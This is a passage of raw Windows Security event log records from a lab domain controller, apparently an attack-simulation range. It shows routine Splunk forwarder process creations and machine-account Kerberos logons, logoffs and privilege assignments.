Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:25:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256488 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:25:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256491 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x41307F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:25:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256490 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x41307F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65306 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:25:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256489 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x41307F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:26:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256492 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x530 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:26:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256494 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x630 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:26:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256493 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x454 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:26:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256495 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x103c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:26:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256496 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:26:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256498 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:26:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256497 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:26:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256501 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4175FE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:26:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256500 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4175FE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65322 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:26:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256499 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4175FE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:27:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256507 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x417918 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:27:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256506 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x417918 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65326 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:27:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256505 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x417918 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:27:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256504 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4178AC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:27:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256503 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4178AC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65325 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:27:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256502 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4178AC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:27:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256508 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:27:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256510 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:27:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256509 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x508 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:27:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256522 -Keywords=Audit Success 